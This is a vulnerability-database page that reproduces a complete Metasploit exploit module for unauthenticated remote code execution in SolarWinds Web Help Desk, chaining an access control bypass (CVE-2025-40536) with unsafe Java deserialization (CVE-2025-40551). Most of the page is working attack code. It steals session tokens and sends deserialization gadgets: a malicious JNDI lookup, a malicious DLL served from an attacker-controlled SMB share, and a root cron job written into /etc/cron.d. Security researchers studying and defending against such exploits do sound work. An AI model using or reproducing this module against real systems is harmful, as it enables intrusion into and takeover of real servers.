Lucene search
K

📄 SolarWinds Web Help Desk Access Control Bypass / Unsafe Deserialization

🗓️ 23 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 182 Views

SolarWinds Web Help Desk unauthenticated RCE via access control bypass and unsafe deserialization.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-40554
31 Jan 202608:17
githubexploit
ATTACKERKB
CVE-2025-40536
28 Jan 202607:30
attackerkb
ATTACKERKB
CVE-2025-40551
28 Jan 202607:33
attackerkb
Circl
CVE-2025-40536
28 Jan 202610:19
circl
Circl
CVE-2025-40551
28 Jan 202610:02
circl
CISA KEV Catalog
SolarWinds Web Help Desk Security Control Bypass Vulnerability
12 Feb 202600:00
cisa_kev
CISA KEV Catalog
SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability
3 Feb 202600:00
cisa_kev
CISA
CISA Adds Four Known Exploited Vulnerabilities to Catalog
12 Feb 202612:00
cisa
CISA
CISA Adds Four Known Exploited Vulnerabilities to Catalog
3 Feb 202612:00
cisa
CNNVD
SolarWinds Web Help Desk code-related vulnerabilities
28 Jan 202600:00
cnnvd
Rows per page
=============================================================================================================================================
    | # Title     : SolarWinds Web Help Desk – Unauthenticated RCE via Access Control Bypass & Unsafe Deserialization                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://www.solarwinds.com/web-help-desk                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit module targets SolarWinds Web Help Desk and exploits two chained vulnerabilities:
                     CVE-2025-40536 – Access control bypass
                     CVE-2025-40551 – Unsafe Java deserialization leading to Remote Code Execution
    
    The attack does not require authentication.
    
    [+] High-Level Exploitation Flow
    
    Initial Session Establishment
    Retrieves application version, platform (Windows/Linux), session cookies, and required tokens.
    
    Login Preference Page Access
    Extracts an internal externalAuthContainer reference.
    
    SAML Object Trigger
    Prepares internal state required to access JSON-RPC functionality.
    
    JSON-RPC Bridge Creation
    Identifies the internal AJAX endpoint used for backend method invocation.
    
    Unsafe Deserialization Trigger
    Sends crafted JSON data to backend WebObjects methods, resulting in arbitrary class instantiation and eventual code execution.
    
    [+] Affected Versions
    
    WHD 12.7.x
    
    WHD 12.8.x
    
    Windows and Linux deployments
    
    
    [+] POC : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Msf::Exploit::Remote::JndiInjection
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::EXE
      include Msf::Exploit::Retry
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SolarWinds Web Help Desk unauthenticated RCE',
            'Description' => %q{
              This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
              vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
              server.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka',
            ],
            'References' => [
              ['CVE', '2025-40536'],
              ['CVE', '2025-40551'],
              ['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'],
              ['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/']
            ],
            'DisclosureDate' => '2026-01-28',
            'Privileged' => true,
            'Platform' => ['win', 'unix', 'linux'],
            'Arch' => [ARCH_X64, ARCH_CMD],
            'Targets' => [
              [
                'WHD 12.8.* on Windows (Native code payload)', {
                  'VersionStart' => '12.8',
                  'Platform' => 'win',
                  'Arch' => ARCH_X64
                }
              ],
              [
                'WHD 12.8.* on Linux (Command payload)', {
                  'VersionStart' => '12.8',
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Payload' => {
                    'BadChars' => '\''
                  },
                  'WfsDelay' => 90
                }
              ],
              [
                'WHD 12.7.* on Windows (Command payload)', {
                  'VersionStart' => '12.7',
                  'GadgetChain' => 'CommonsBeanutils1',
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                }
              ],
              [
                'WHD 12.7.* on Linux (Command payload)', {
                  'VersionStart' => '12.7',
                  'GadgetChain' => 'CommonsBeanutils1',
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 8443,
              'SSL' => true
            },
            'Notes' => {
              'Stability' => [CRASH_SERVICE_RESTARTS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/'])
        ])
      end
    
      def check
        session_ctx = step1_initial_session
        CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
      rescue Msf::Exploit::Failed => e
        CheckCode::Unknown(e.to_s)
      end
    
      def exploit
        print_status('Step 1 - Initial session...')
        session_ctx = step1_initial_session
    
        fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart']
        case target['Platform']
        when 'win'
          fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows
        when 'unix', 'linux' 
          fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux
        else
          fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.")
        end
    
    
        session_ctx[:service] = get_target_service(session_ctx)
    
        print_status('Step 2 - Login pref page...')
        external_auth_container = step2_login_pref_page(session_ctx)
    
        print_status('Step 3 - Trigger SAML object...')
        step3_trigger_saml_object(session_ctx, external_auth_container)
    
        print_status('Step 4 - Create JSON RPC bridge...')
        jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx)
    
        print_status('Step 5 - Unsafe deserialization...')
        get_target_gadgets(session_ctx).each do |gadget|
          print_status("  Executing gadget - #{gadget[:title]}")
          step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true)
          Rex::ThreadSafe.sleep(2)
        end
    
        retry_until_truthy(timeout: datastore['WfsDelay']) do
          !handler_enabled? || session_created?
        end
    
        unless session_ctx[:service].nil?
          session_ctx[:service].cleanup
        end
    
        handler
      ensure
        cleanup_service
      end
    
      class SimpleSMBShareWrapper < ::Msf::Exploit
        include ::Msf::Exploit::Remote::SMB::Server::Share
      end
    
      def get_target_service(session_ctx)
        if target['VersionStart'] == '12.7'
          start_service
          return nil
        end
    
        return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows
    
        if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
          fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
        end
    
        print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)")
        smb_service = SimpleSMBShareWrapper.new
        smb_service.datastore['SRVPORT'] = 445
        smb_service.datastore['SRVHOST'] = datastore['SRVHOST']
        smb_service.setup
        smb_service.file_contents = generate_payload_dll
        smb_service.file_name += '.dll'
        smb_service.start_service({
          'ServerPort' => 445,
          'ServerHost' => datastore['SRVHOST']
        })
        smb_service
      end
    
      def get_target_gadgets(session_ctx)
        gadgets = []
    
        if target['VersionStart'] == '12.7'
          print_status("Malicious JNDI URL: #{jndi_string}")
          gadgets.push({
            title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
            json_data: {
              'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource',
              'jndiLocation' => jndi_string
            }
          })
        elsif target['VersionStart'] == '12.8'
          gadgets.push({
            title: 'Registering the org.sqlite.JDBC driver',
            json_data: {
              'javaClass' => 'org.sqlite.JDBC'
            }
          })
    
          if session_ctx[:platform] == :windows
            print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}")
            gadgets.push({
              title: 'Loading malicious extension over SMB',
              json_data: {
                'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
                'driverClassName' => 'org.sqlite.SQLiteDataSource',
                'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
                'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
              }
            })
          elsif session_ctx[:platform] == :linux
            random_name = Rex::Text.rand_text_alpha(8)
            gadgets.push({
              title: "Creating file in /etc/cron.d/#{random_name}",
              json_data: {
                'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
                'driverClassName' => 'org.sqlite.SQLiteDataSource',
                'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
                'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
              }
            })
            gadgets.push({
              title: "Dirty file write to /etc/cron.d/#{random_name}",
              json_data: {
                'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
                'driverClassName' => 'org.sqlite.SQLiteDataSource',
                'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
                'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
              }
            })
          end
        else
          fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.")
        end
    
        gadgets
      end
    
      def build_ldap_search_response_payload
        build_ldap_search_response_payload_inline(target['GadgetChain'])
      end
    
      def step1_initial_session
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'),
          'headers' => {
            'x-webobjects-recording' => '1'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res
        fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200
    
        m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"})
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m
        version = m[1].gsub('_', '.')
        vprint_status("Version: #{version}")
    
        m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"})
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m
        resource_path = Rex::Text.uri_decode(m[1])
    
        platform = if resource_path =~ %r{file:////.:/}
                     :windows
                   else
                     resource_path =~ %r{file:///Applications/} ? :mac : :linux
                   end
        vprint_status("Platform: #{platform}")
    
        cookies = res.get_cookies
        jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid
        vprint_status("JSESSIONID: #{jsessionid}")
    
        xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token
        vprint_status("XSRF-TOKEN: #{xsrf_token}")
    
        x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id
        vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}")
    
        {
          version: version,
          platform: platform,
          jsessionid: jsessionid,
          xsrf_token: xsrf_token,
          x_webobjects_session_id: x_webobjects_session_id
        }
      end
    
      def step2_login_pref_page(session_ctx)
        res = send_request_cgi(
          'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'vars_get' => {
            Rex::Text.rand_text_alpha(8) => '/ajax/',
            'wopage' => 'LoginPref'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res
        fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200
        m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)"})
        fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m
    
        external_auth_container = m[1]
        vprint_status("externalAuthContainer: #{external_auth_container}")
    
        external_auth_container
      end
    
      def step3_trigger_saml_object(session_ctx, external_auth_container)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, external_auth_container),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}"
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res
        fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200
      end
    
      def step4_create_jsonrpc_bridge(session_ctx)
        res = send_request_cgi(
          'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'vars_get' => {
            Rex::Text.rand_text_alpha(8) => '/ajax/',
            'wopage' => 'LoginPref'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res
        fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200
    
        m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);})
        fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m
    
        jsonrpc_client = m[1]
        vprint_status("JSONRpcClient: #{jsonrpc_client}")
    
        jsonrpc_client
      end
    
      def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false)
        random_id = rand(1..0xffff)
        random_name = Rex::Text.rand_text_alpha(8)
    
        allowlist = [
          'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed',
          'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf'
        ]
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'data' => {
            Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
            'id' => random_id,
            'method' => 'wopage.setVariableValueForName',
            'params' => [
              random_name,
              json_data
            ]
          }.to_json
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res
        fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'data' => {
            Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
            'id' => random_id,
            'method' => 'wopage.variableValueForName',
            'params' => [random_name]
          }.to_json
        )
    
        unless return_early
          fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res
          fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200
        end
      end
    end
    
    	
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.19.8
EPSS0.8413
SSVC
182